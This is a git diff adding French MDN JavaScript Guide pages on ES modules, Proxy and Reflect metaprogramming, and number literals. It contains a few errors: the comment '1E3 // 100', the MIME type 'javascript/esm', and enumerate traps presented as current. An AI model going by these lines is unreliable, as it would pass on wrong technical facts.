+<pre class="brush: js">// dans square.mjs
+export { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter };</pre>
+
+<pre class="brush: js">// dans main.mjs
+import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.mjs';</pre>
+
+<p>Les deux approches fonctionnent. C'est à vous de choisir le style. Toutefois, il est souvent plus pratique d'effectuer le renommage à l'import, notamment lorsqu'on importe des fonctionnalités de modules tiers sur lesquels on n'a pas le contrôle.</p>
+
+<h3 id="Créer_un_objet_module">Créer un objet module</h3>
+
+<p>La méthode précédente fonctionne mais reste « brouillonne ». Pour faire mieux, on peut importer l'ensemble des fonctionnalités de chaque module dans un objet, de la façon suivante :</p>
+
+<pre class="brush: js">import * as Module from './modules/module.mjs';</pre>
+
+<p>Cela récupère tous les exports disponibles depuis <code>module.mjs</code> et les transforme en propriétés et méthodes rattachées à l'objet <code>Module</code> qui fournit alors un espace de noms (<em>namespace</em>) :</p>
+
+<pre class="brush: js">Module.function1()
+Module.function2()
+etc.</pre>
+
+<p>Là encore, prenons un exemple concret avec le répertoire <a href="https://github.com/mdn/js-examples/tree/master/modules/module-objects">module-objects</a>. Il s'agit du même exemple que précédemment mais qui a été réécrit afin de tirer parti de cette syntaxe. Dans les modules, les exports sont tous écrits ainsi :</p>
+
+<pre class="brush: js">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>En revanche, pour les imports, on les récupère ainsi :</p>
+
+<pre class="brush: js">import * as Canvas from './modules/canvas.mjs';
+
+import * as Square from './modules/square.mjs';
+import * as Circle from './modules/circle.mjs';
+import * as Triangle from './modules/triangle.mjs';</pre>
+
+<p>Dans chaque cas, on peut accéder aux imports comme propriétés des objets ainsi créés :</p>
+
+<pre class="brush: js">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue');
+Square.reportArea(square1.length, reportList);
+Square.reportPerimeter(square1.length, reportList);</pre>
+
+<p>On obtient alors un code plus lisible.</p>
+
+<h2 id="Classes_et_modules">Classes et modules</h2>
+
+<p>Comme mentionné avant, il est possible d'importer et d'exporter des classes. Cette méthode peut aussi être utilisée afin d'éviter les conflits de nommage. Elle s'avère notamment utile lorsque vous utilisez déjà des classes pour construire vos objets (cela permet de garder une certaine cohérence dans le style).</p>
+
+<p>Pour voir le résultat obtenu, vous pouvez consulter le répertoire <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a> du dépôt où l'ensemble a été réécrit pour tirer parti des classes ECMAScript. Ainsi, <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.mjs</a></code> contient désormais l'ensemble des fonctionnalités via une classe :</p>
+
+<pre class="brush: js">class Square {
+  constructor(ctx, listId, length, x, y, color) {
+    ...
+  }
+
+  draw() {
+    ...
+  }
+
+  ...
+}</pre>
+
+<p>Il suffit d'exporter cette classe :</p>
+
+<pre class="brush: js">export { Square };</pre>
+
+<p>Puis de l'importer ainsi dans <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.mjs</a></code> :</p>
+
+<pre class="brush: js">import { Square } from './modules/square.mjs';</pre>
+
+<p>Ensuite, on peut utiliser cette classe afin de dessiner le carré :</p>
+
+<pre class="brush: js">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+square1.draw();
+square1.reportArea();
+square1.reportPerimeter();</pre>
+
+<h2 id="Agréger_des_modules">Agréger des modules</h2>
+
+<p>Il arrivera qu'on veuille agréger des modules entre eux. On peut avoir plusieurs niveaux de dépendances et vouloir simplifier les choses en combinant différents sous-modules en un seul module parent. Pour cela, on pourra utiliser la notation raccourcie suivante :</p>
+
+<pre class="brush: js">export * from 'x.mjs'
+export { name } from 'x.mjs'</pre>
+
+<p>Pour voir cela en pratique, vous pouvez consulter le répertoire <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a>. Dans cet exemple (construit sur le précédent qui utilise les classes), on a un module supplémentaire intitulé <code>shapes.mjs</code> qui agrège les fonctionnalités fournies par <code>circle.mjs</code>, <code>square.mjs</code> et <code>triangle.mjs</code>. Les sous-modules ont également été déplacés dans un répertoire <code>shapes</code> situé dans un répertoire <code>modules</code>. L'arborescence utilisée est donc :</p>
+
+<pre>modules/
+  canvas.mjs
+  shapes.mjs
+  shapes/
+    circle.mjs
+    square.mjs
+    triangle.mjs</pre>
+
+<p>Dans chaque sous-module, l'export aura la même forme :</p>
+
+<pre class="brush: js">export { Square };</pre>
+
+<p>Pour l'agrégation au sein de <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.mjs</a></code>, on écrit les lignes suivantes :</p>
+
+<pre class="brush: js">export { Square } from './shapes/square.mjs';
+export { Triangle } from './shapes/triangle.mjs';
+export { Circle } from './shapes/circle.mjs';</pre>
+
+<p>On récupère ainsi l'ensemble des exports de chaque module et on les rend disponibles via <code>shapes.mjs</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong> : Cette notation ne permet que de rediriger les exports via le fichier. Les objets importés/exportés n'existent pas vraiment dans <code>shapes.mjs</code> et on ne peut donc pas écrire de code <em>utile</em> qui les manipule.</p>
+</div>
+
+<p>Dans le fichier <code>main.mjs</code>, on pourra alors remplacer :</p>
+
+<pre class="brush: js">import { Square } from './modules/square.mjs';
+import { Circle } from './modules/circle.mjs';
+import { Triangle } from './modules/triangle.mjs';</pre>
+
+<p>par :</p>
+
+<pre class="brush: js">import { Square, Circle, Triangle } from './modules/shapes.mjs';</pre>
+
+<h2 id="Chargement_dynamique_de_modules">Chargement dynamique de modules</h2>
+
+<p>Cette nouvelle fonctionnalité permet aux navigateurs de charger les modules lorsqu'ils sont nécessaires plutôt que de tout précharger en avance de phase. Cette méthode offre de nombreux avantages quant aux performances. Voyons comment cela fonctionne.</p>
+
+<p>Pour utiliser cette fonctionnalité, on pourra utiliser <code>import()</code> comme une fonction et lui passer le chemin du module en argument. Cette fonction renverra <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">une promesse</a>, qui sera résolue en un module objet donnant accès aux exports.</p>
+
+<pre class="brush: js">import('./modules/monModule.mjs')
+  .then((module) =&gt; {
+    // Faire qqc avec le module.
+  });</pre>
+
+<p>Dans nos exemples, regardons le répertoire <a href="https://github.com/mdn/js-examples/tree/master/modules/dynamic-module-imports">dynamic-module-imports</a>, également basé sur les classes. Cette fois, on ne dessine rien au chargement de l'exemple mais on ajoute trois boutons — "Circle", "Square" et "Triangle" — qui, lorsqu'ils seront utilisés, chargeront dynamiquement les modules nécessaires et les utiliseront pour charger la forme associée.</p>
+
+<p>Dans cet exemple, nous avons uniquement modifié <a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/index.html">index.html</a> et <a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/main.js">main.js</a> — les exports restent les mêmes.</p>
+
+<p>Dans <code>main.js</code>, on récupère une référence à chaque bouton en utilisant <code><a href="/fr/docs/Web/API/Document/querySelector">document.querySelector()</a></code>. Par exemple :</p>
+
+<pre class="brush: js">let squareBtn = document.querySelector('.square');</pre>
+
+<p>Ensuite, on attache un gestionnaire d'évènement à chaque bouton afin qu'on puisse appuyer dessus. Le module correspondant est alors chargé dynamiquement et utilisé pour dessiner la forme :</p>
+
+<pre class="brush: js">squareBtn.addEventListener('click', () =&gt; {
+  import('./modules/square.mjs').then((Module) =&gt; {
+    let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+    square1.draw();
+    square1.reportArea();
+    square1.reportPerimeter();
+  })
+});</pre>
+
+<p>On voit ici que, parce que la promesse renvoie un objet module à la résolution, la classe est une propriété de cet objet et qu'il faut ajouter cet espace de nom devant le constructeur exporté pour l'utiliser. Autrement dit, avec cette méthode, on doit ajouter <code>Module.</code> devant <code>Square</code> (plutôt que d'utiliser uniquement <code>Square</code>).</p>
+
+<h2 id="Diagnostiquer_les_problèmes_avec_les_modules">Diagnostiquer les problèmes avec les modules</h2>
+
+<p>Voici quelques notes pour aider à comprendre et à diagnostiquer les problèmes parfois rencontrés avec les modules. N'hésitez pas à ajouter vos conseils à cette liste si vous en avez.</p>
+
+<ul>
+ <li>Comme indiqué ci-avant, les fichiers <code>.mjs</code> doivent être chargés avec le type MIME <code>javascript/esm</code> (ou avec un autre type MIME compatible JavaScript tel que <code>application/javascript</code>), sinon on aura une erreur lors de la vérification du type MIME.</li>
+ <li>Si on essaie de charger des fichiers HTML en local à l'aide d'une URL <code>file://</code>, on aura des erreurs CORS relatives à la sécurité. Pour tester les modules, on doit donc mettre en place un serveur (ou, par exemple, utiliser les pages GitHub).</li>
+ <li><code>.mjs</code> est une extension relativement récente et certains systèmes d'exploitation ne la reconnaîtront pas et/ou tenteront de la remplacer (ex. macOS pourra silencieusement ajouter un <code>.js</code> après le <code>.mjs</code>). Dans ce cas, afficher les extensions de tous les fichiers par défaut pourra permettre de vérifier.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://tech.mozfr.org/post/2018/04/06/Une-plongee-illustree-dans-les-modules-ECMAScript">Une plongée illustrée dans les modules ECMAScript</a></li>
+ <li><a href="https://tech.mozfr.org/post/2015/08/21/ES6-en-details-%3A-les-modules">ES6 en détails : les modules</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/primers/modules#mjs">Utiliser les modules JavaScript sur le Web</a>, un article par Addy Osmani et Mathias Bynens (en anglais)</li>
+ <li>Livre de Axel Rauschmayer (en anglais) : <a href="http://exploringjs.com/es6/ch_modules.html">Exploring JS: Modules</a></li>
+</ul>
+
+<p>{{Previous("Web/JavaScript/Guide/Métaprogrammation")}}</p>
diff --git a/files/fr/web/javascript/guide/métaprogrammation/index.html b/files/fr/web/javascript/guide/métaprogrammation/index.html
new file mode 100644
index 0000000000..fcec88d12b
--- /dev/null
+++ b/files/fr/web/javascript/guide/métaprogrammation/index.html
@@ -0,0 +1,278 @@
+---
+title: Métaprogrammation
+slug: Web/JavaScript/Guide/Métaprogrammation
+tags:
+  - Guide
+  - JavaScript
+  - Proxy
+  - Reflect
+translation_of: Web/JavaScript/Guide/Meta_programming
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/iterateurs_et_generateurs","Web/JavaScript/Guide/Modules")}}</div>
+
+<p class="summary">À partir d'ECMAScript 2015, JavaScript fournit les objets natifs {{jsxref("Proxy")}} et {{jsxref("Reflect")}}. Ces objets permettent d'intercepter et de définir des comportements spécifiques pour certaines opérations fondamentales du langage (par exemple la recherche d'une propriété, l'affectation, l'énumération, l'appel d'une fonction, etc.). Grâce à ces deux objets, il est possible d'interagir avec le langage lui-même (on parle alors de métaprogrammation).</p>
+
+<h2 id="Les_proxies">Les proxies</h2>
+
+<p>Introduits avec ECMAScript 2015, les objets {{jsxref("Proxy")}} permettent d'intercepter certaines opérations JavaScript et de définir le comportement à avoir quand celles-ci se produisent. Par exemple, on peut intercepter l'accès à une propriété d'un objet :</p>
+
+<pre class="brush: js">var handler = {
+  get: function(cible, nom){
+    return nom in cible ? cible[nom] : 42;
+}};
+var p = new Proxy({}, handler);
+p.a = 1;
+console.log(p.a, p.b); // 1, 42
+</pre>
+
+<p>Ici, l'objet <code>Proxy</code> définit une <em>cible</em> (ici c'est un objet vide) et un gestionnaire (<em>handler</em>) qui implémente une <em>trappe</em> pour l'opération <em>get</em>. Ainsi, l'objet qui est « proxyfié » ne renverra pas <code>undefined</code> lorsqu'on tentera d'accéder à une propriété qui n'est pas définie, à la place le nombre 42 sera renvoyé.</p>
+
+<div class="note">
+<p>D'autres exemples sont disponibles sur la page de l'objet {{jsxref("Proxy")}}.</p>
+</div>
+
+<h3 id="Terminologie">Terminologie</h3>
+
+<p>Lorsqu'on utilise les proxies et leurs fonctionnalités, on utilisera les termes suivants :</p>
+
+<dl>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler","gestionnaire (handler)","","true")}}</dt>
+ <dd>L'objet qui contient les trappes.</dd>
+ <dt>trappes</dt>
+ <dd>Les méthodes qui fournissent l'accès aux propriétés. Ce concept est analogue aux trappes utilisées dans les systèmes d'exploitations.</dd>
+ <dt>cible</dt>
+ <dd>L'objet que le proxy virtualise. C'est généralement un objet utilisé en arrière-plan pour stocker les informations. Les invariants (c'est-à-dire les éléments sémantiques qui doivent rester inchangés) concernant le caractère non-extensible de l'objet ou l'aspect non-configurable des propriétés sont vérifiés par rapport à cet objet cible.</dd>
+ <dt>invariants</dt>
+ <dd>Les éléments sémantiques qui ne doivent pas être modifiés par les opérations définies dans les proxies. Si un invariant n'est pas respecté au sein d'un gestionnaire, cela provoquera une exception {{jsxref("TypeError")}}.</dd>
+</dl>
+
+<h2 id="Les_gestionnaires_et_les_trappes">Les gestionnaires et les trappes</h2>
+
+<p>Le tableau suivant résume les différentes trappes disponibles pour les objets <code>Proxy</code>. Pour plus d'explications et de détails, voir les différents <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler">pages de la référence</a> sur chacun de ces concepts.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Gestionnaires / Trappes</th>
+   <th>Opérations interceptées</th>
+   <th>Invariants</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.getPrototypeOf()")}}<br>
+    {{jsxref("Reflect.getPrototypeOf()")}}<br>
+    {{jsxref("Object/proto", "__proto__")}}<br>
+    {{jsxref("Object.prototype.isPrototypeOf()")}}<br>
+    {{jsxref("Operators/instanceof", "instanceof")}}</td>
+   <td><code>getPrototypeOf</code> doit renvoyer un objet ou <code>null</code>.<br>
+    <br>
+    Si <code>cible</code> n'est pas extensible, <code>Object.getPrototypeOf(proxy)</code> doit renvoyer le même objet que <code>Object.getPrototypeOf(cible)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.setPrototypeOf()")}}<br>
+    {{jsxref("Reflect.setPrototypeOf()")}}</td>
+   <td>
+    <p>Si <code>cible</code> n'est pas extensible, le paramètre <code>prototype</code> doit être la même valeur que <code>Object.getPrototypeOf(cible)</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/isExtensible", "handler.isExtensible()")}}</td>
+   <td>
+    <p>{{jsxref("Object.isExtensible()")}}</p>
+
+    <p>{{jsxref("Reflect.isExtensible()")}}</p>
+   </td>
+   <td>
+    <p><code>Object.isExtensible(proxy)</code> doit renvoyer la même valeur que <code>Object.isExtensible(target)</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</td>
+   <td>
+    <p>{{jsxref("Object.preventExtensions()")}}</p>
+
+    <p>{{jsxref("Reflect.preventExtensions()")}}</p>
+   </td>
+   <td>
+    <p><code>Object.preventExtensions(proxy)</code> ne renvoie <code>true</code> que si <code>Object.isExtensible(proxy)</code> vaut <code>false</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</td>
+   <td>
+    <p>{{jsxref("Object.getOwnPropertyDescriptor()")}}</p>
+
+    <p>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</p>
+   </td>
+   <td>
+    <p><code>getOwnPropertyDescriptor</code> doit renvoyer un objet ou <code>undefined</code>.</p>
+
+    <p>Une propriété ne peut pas être vue comme non-existante si elle existe comme une propriété propre non-configurable de l'objet cible.</p>
+
+    <p>Une propriété ne peut pas être vue comme non-existante si elle existe comme une propriété propre de la cible et que l'objet cible n'est pas extensible.</p>
+
+    <p>Une propriété ne peut pas être vue comme existante si elle n'existe pas comme une propriété propre de l'objet cible et que l'objet cible n'est pas extensible.</p>
+
+    <p>Une propriété ne peut pas être vue comme non-configurable si elle n'existe pas comme une propriété propre de l'objet cible ou si elle existe comme une propriété configurable propre de l'objet cible.</p>
+
+    <p>Le résultat de <code>Object.getOwnPropertyDescriptor(cible)</code> peut être appliqué à la cible en utilisant <code>Object.defineProperty</code> sans que cela ne lève d'exception.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty()")}}</td>
+   <td>
+    <p>{{jsxref("Object.defineProperty()")}}</p>
+
+    <p>{{jsxref("Reflect.defineProperty()")}}</p>
+   </td>
+   <td>
+    <p>Une propriété ne peut pas être ajoutée si l'objet cible n'est pas extensible.</p>
+
+    <p>Une propriété ne peut pas être ajoutée ou être modifiée afin d'être non-configurable si elle n'existe pas comme une propriété propre de l'objet cible et qu'elle n'est pas non-configurable.</p>
+
+    <p>Une propriété peut ne pas être non-configurable si une propriété correspondante configurable existe sur l'objet cible.</p>
+
+    <p>Si une propriété possède une propriété correspondante sur l'objet cible, <code>Object.defineProperty(cible, prop, descripteur)</code> ne doit pas renvoyer d'exception.</p>
+
+    <p>En mode strict, si la valeur de retour de <code>defineProperty</code> est <code>false</code>, cela entraînera une exception {{jsxref("TypeError")}} exception.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/has", "handler.has()")}}</td>
+   <td>
+    <p>Requête d'une propriété : <code>toto in proxy</code></p>
+
+    <p>Requête d'une propriété héritée : <code>toto in Object.create(proxy)</code></p>
+
+    <p>{{jsxref("Reflect.has()")}}</p>
+   </td>
+   <td>
+    <p>Une propriété ne peut pas être vue comme non-existante si elle existe comme propriété propre non-configurable de l'objet cible.</p>
+
+    <p>Une propriété ne peut pas être vue comme non-existante si elle existe comme propriété propre de l'objet cible et que l'objet cible n'est pas extensible.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/get", "handler.get()")}}</td>
+   <td>
+    <p>Accès à une propriété : <code>proxy[toto]</code> et <code>proxy.truc</code></p>
+
+    <p>Accès à une propriété héritée : <code>Object.create(proxy)[toto]</code></p>
+
+    <p>{{jsxref("Reflect.get()")}}</p>
+   </td>
+   <td>
+    <p>La valeur rapportée pour la propriété doit être la même que la valeur de la propriété correspondante sur l'objet cible si celle-ci est une propriété de donnée non accessible en écriture et non-configurable..</p>
+
+    <p>La valeur rapportée pour une propriété doit être <code>undefined</code> si la propriété correspondante de l'objet cible est une propriété d'accesseur dont l'attribut [[Get]] vaut <code>undefined</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/set", "handler.set()")}}</td>
+   <td>
+    <p>Affection d'une propriété : <code>proxy[toto] = truc</code> et <code>proxy.toto = truc</code><br>
+     <br>
+     Affectation d'une propriété héritée : <code>Object.create(proxy)[toto] = truc</code><br>
+     <br>
+     {{jsxref("Reflect.set()")}}</p>
+   </td>
+   <td>
+    <p>Il est impossible de modifier la valeur d'une propriété pour que celle-ci soit différente de la valeur de la propriété correspondante de l'objet cible si la propriété de l'objet cible est une propriété de donnée qui n'est pas accessible en écriture et qui n'est pas configurable.</p>
+
+    <p>Il est impossible de modifier la valeur d'une propriété si la propriété correspondante de l'objet cible est une propriété d'accesseur non-configurable dont l'attribut [[Set]] vaut <code>undefined</code>.</p>
+
+    <p>En mode strict, si le gestionnaire pour <code>set</code> renvoie <code>false</code>, cela provoquera une exception {{jsxref("TypeError")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</td>
+   <td>
+    <p>Suppression d'une propriété : <code>delete proxy[toto]</code> et <code>delete proxy.toto</code><br>
+     <br>
+     {{jsxref("Reflect.deleteProperty()")}}</p>
+   </td>
+   <td>Une propriété ne peut pas être supprimée si elle existe comme une propriété propre non-configurable de l'objet cible.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/enumerate", "handler.enumerate()")}}</td>
+   <td>
+    <p>Lister les propriétés avec <code>for...in</code> : <code>for (var nom in proxy) {...}</code><br>
+     <br>
+     {{jsxref("Reflect.enumerate()")}}</p>
+   </td>
+   <td>La méthode <code>enumerate</code> doit renvoyer un objet.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/ownKeys", "handler.ownKeys()")}}</td>
+   <td>
+    <p>{{jsxref("Object.getOwnPropertyNames()")}}<br>
+     {{jsxref("Object.getOwnPropertySymbols()")}}<br>
+     {{jsxref("Object.keys()")}}<br>
+     {{jsxref("Reflect.ownKeys()")}}</p>
+   </td>
+   <td>
+    <p>Le résultat de <code>ownKeys</code> est une liste.<br>
+     <br>
+     Le type de chaque élément de la liste est soit une {{jsxref("String")}} soit un  {{jsxref("Symbol")}}.<br>
+     <br>
+     La liste résultatnte doit contenir les clés de toutes les propriétés non-configurables de l'objet cible.<br>
+     <br>
+     Si l'objet cible n'est pas extensible, la liste résultante doit contenir toutes les clés des propriétés propres de l'objet cibles et aucune autre valeur.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/apply", "handler.apply()")}}</td>
+   <td>
+    <p><code>proxy(..args)</code><br>
+     <br>
+     {{jsxref("Function.prototype.apply()")}} and {{jsxref("Function.prototype.call()")}}<br>
+     <br>
+     {{jsxref("Reflect.apply()")}}</p>
+   </td>
+   <td>Il n'y a pas d'invariant pour la méthode <code>handler.apply</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Objets_globaux/Proxy/handler/construct", "handler.construct()")}}</td>
+   <td>
+    <p><code>new proxy(...args)</code><br>
+     {{jsxref("Reflect.construct()")}}</p>
+   </td>
+   <td>Le résultat doit être un <code>Objet</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Proxies_révocables">Proxies révocables</h2>
+
+<p>La méthode {{jsxref("Proxy.revocable()")}} est utilisée pour créer un objet <code>Proxy</code> qui puisse être révoqué. Cela signifie que que le proxy pourra être révoqué avec la fonction <code>revoke</code> et arrêtera le proxy. Après cet arrêt, toute opération sur le proxy entraînera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js">var revocable = Proxy.revocable({}, {
+  get: function(cible, nom) {
+    return "[[" + nom + "]]";
+  }
+});
+var proxy = revocable.proxy;
+console.log(proxy.toto); // "[[toto]]"
+
+revocable.revoke();
+
+console.log(proxy.toto); // déclenche une TypeError
+proxy.toto = 1;          // une TypeError encore
+delete proxy.toto;       // toujours une TypeError
+typeof proxy             // "object", typeof ne déclenche aucune trappe</pre>
+
+<h2 id="Réflexion">Réflexion</h2>
+
+<p>{{jsxref("Reflect")}} est un objet natif qui fournit des méthodes pour les opérations JavaScript qui peuvent être interceptées. Ces méthodes sont les mêmes que celles gérées par les {{jsxref("Objets_globaux/Proxy/handler","gestionnaires de proxy","","true")}}. <code>Reflect</code> n'est pas un constructeur et ne peut pas être utilisé comme une fonction !</p>
+
+<p><code>Reflect</code> aide à transférer les opérations par défaut depuis le gestionnaire vers la cible.</p>
+
+<p>Par exemple, avec {{jsxref("Reflect.has()")}}, on obtient le comportement de l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in"><code>in</code></a> sous forme d'une fonction :</p>
+
+<pre class="brush: js">Reflect.has(Object, "assign"); // true
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/iterateurs_et_generateurs","Web/JavaScript/Guide/Modules")}}</p>
diff --git a/files/fr/web/javascript/guide/nombres_et_dates/index.html b/files/fr/web/javascript/guide/nombres_et_dates/index.html
new file mode 100644
index 0000000000..a7debdc697
--- /dev/null
+++ b/files/fr/web/javascript/guide/nombres_et_dates/index.html
@@ -0,0 +1,387 @@
+---
+title: Nombres et dates
+slug: Web/JavaScript/Guide/Nombres_et_dates
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Numbers_and_dates
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs", "Web/JavaScript/Guide/Formatage_du_texte")}}</div>
+
+<p>Ce chapitre illustre le fonctionnement des nombres et des dates en JavaScript grâce aux concepts, objets et fonctions utilisables avec ce langage. Cela inclut notamment l'écriture de nombre selon différentes bases (décimale, binaire, hexadécimale) et l'utilisation de l'objet global {{jsxref("Math")}}.</p>
+
+<h2 id="Nombres">Nombres</h2>
+
+<p>Les nombres en JavaScript sont implémentés comme des <a href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">nombres sur 64 bits à précision double selon le format IEEE-754</a> qui est un standard pour la représentation des nombres flottants et qui permet d'avoir jusqu'à 16 chiffres significatifs. Le type numérique possède également trois valeurs spéciales symboliques : +{{jsxref("Infinity")}}, -{{jsxref("Infinity")}} et {{jsxref("NaN")}} (pour désigner une valeur qui n'est pas un nombre).</p>
+
+<p>Le format IEEE-754 permet de représenter des valeurs entre ±2<sup>−1022</sup> et ±2<sup>+1023</sup>, ce qui correspond à des valeurs entre ±10<sup>−308</sup> et ±10<sup>+308</sup> avec une précision sur 53 bits. Les nombres entiers compris sur l'intervalle ±2<sup>53 </sup>− 1 peuvent être représentés exactement.</p>
+
+<p>Le type {{jsxref("BigInt")}} est une addition récente à JavaScript qui permet de représenter de grands entiers. Toutefois, il n'est pas possible de mélanger les <code>BigInt</code> et les nombres ({{jsxref("Number")}}) dans les mêmes opérations et on ne peut pas utiliser l'objet {{jsxref("Math")}} avec les valeurs <code>BigInt</code>.</p>
+
+<p>Voir également <a href="/fr/docs/Web/JavaScript/Structures_de_données">les types de données et structures JavaScript</a> pour l'articulation des types primitifs en JavaScript.</p>
+
+<p>Il est possible d'utiliser quatre types de littéraux numériques : décimal, binaire, octal et hexadécimal.</p>
+
+<h3 id="Les_nombres_décimaux">Les nombres décimaux</h3>
+
+<pre class="brush: js">1234567980;
+42;
+
+// Attention à l'utilisation des zéros
+// en début de nombre
+
+0888; // 888 analysé en base décimale
+0777; // en mode non-strict, analysé en base octale,
+      // ce qui correspond
+      // à 511 en base décimale
+</pre>
+
+<p>On voit ici que les littéraux numériques qui commencent par un zéro (<code>0</code>) et contiennent un chiffre strictement inférieur à 8 après ce 0 sont analysés comme étant exprimés en base octale.</p>
+
+<h3 id="Les_nombres_binaires">Les nombres binaires</h3>
+
+<p>Pour utiliser des nombres binaires, on utilise un littéral qui commence par un 0 suivi d'un b minuscule ou majuscule (<code>0b</code> ou <code>0B</code>). Si les chiffres qui suivent ce préfixe ne sont pas des 0 ou des 1, une exception {{jsxref("SyntaxError")}} sera levée.</p>
+
+<pre class="brush: js">var FLT_BITSIGNE = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPOSANT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSE = 0B00000000011111111111111111111111; // 8388607
+</pre>
+
+<h3 id="Les_nombres_octaux">Les nombres octaux</h3>
+
+<p>Pour utiliser des nombres en base octale, on utilisera un préfixe avec un <code>0</code>. Si les nombres qui suivent ce 0 ne sont pas compris entre 0 et 7 (au sens strict), le nombre sera interprété comme un nombre décimal.</p>
+
+<pre class="brush: js">var n = 0755; // 493 en base 10
+var m = 0644; // 420 en base 10
+</pre>
+
+<p>En mode strict, ECMAScript 5 interdit cette syntaxe octale. Cette syntaxe ne fait pas partie d'ECMAScript 5 mais est supportée par la majorité des navigateurs. Avec ECMAScript 2015 (ES6), il est possible de représenter un nombre en notation octale grâce au préfixe "<code>0o</code>" :</p>
+
+<pre class="brush: js">var a = 0o10; // Notation octale pour ES2015</pre>
+
+<h3 id="Les_nombres_hexadécimaux">Les nombres hexadécimaux</h3>
+
+<p>Pour utiliser des nombres exprimés en base hexadécimale, on utilisera un préfixe avec un zéro suivi d'un x majuscule ou minuscule (<code>0x</code> ou <code>0X</code>). Si les chiffres qui suivent ce préfixe ne sont pas 0123456789ABCDEF, cela provoquera une exception {{jsxref("SyntaxError")}}.</p>
+
+<pre class="brush: js">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h3 id="Notation_scientifique">Notation scientifique</h3>
+
+<pre class="brush: js">1E3   // 100
+2e6   // 2000000
+0.1e2 // 10
+</pre>
+
+<h2 id="Lobjet_Number">L'objet <code>Number</code></h2>
+
+<p>L'objet {{jsxref("Number")}} possède certaines propriétés représentant les constantes numériques telles que : la valeur maximale représentable en JavaScript, une valeur spéciale pour dire que la valeur numérique n'est pas un nombre et l'infini. Ces valeurs ne peuvent pas être modifiées, on pourra les utiliser de la façon suivante :</p>
+
+<pre class="brush: js">var plusGrandNombre = Number.MAX_VALUE;
+var plusPetitNombre = Number.MIN_VALUE;
+var infini = Number.POSITIVE_INFINITY;
+var infiniNégatif = Number.NEGATIVE_INFINITY;
+var pasUnNombre = Number.NaN;
+</pre>
+
+<p>On utilisera toujours ces valeurs directement avec l'objet natif <code>Number</code> (et non pas avec les propriétés d'une instance d'un objet <code>Number</code> qu'on aurait créé).</p>
+
+<p>Le tableau qui suit liste certaines des propriétés de <code>Number</code>.</p>
+
+<table class="standard-table">
+ <caption>Propriétés de <code>Number</code></caption>
+ <tbody>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MAX_VALUE")}}</td>
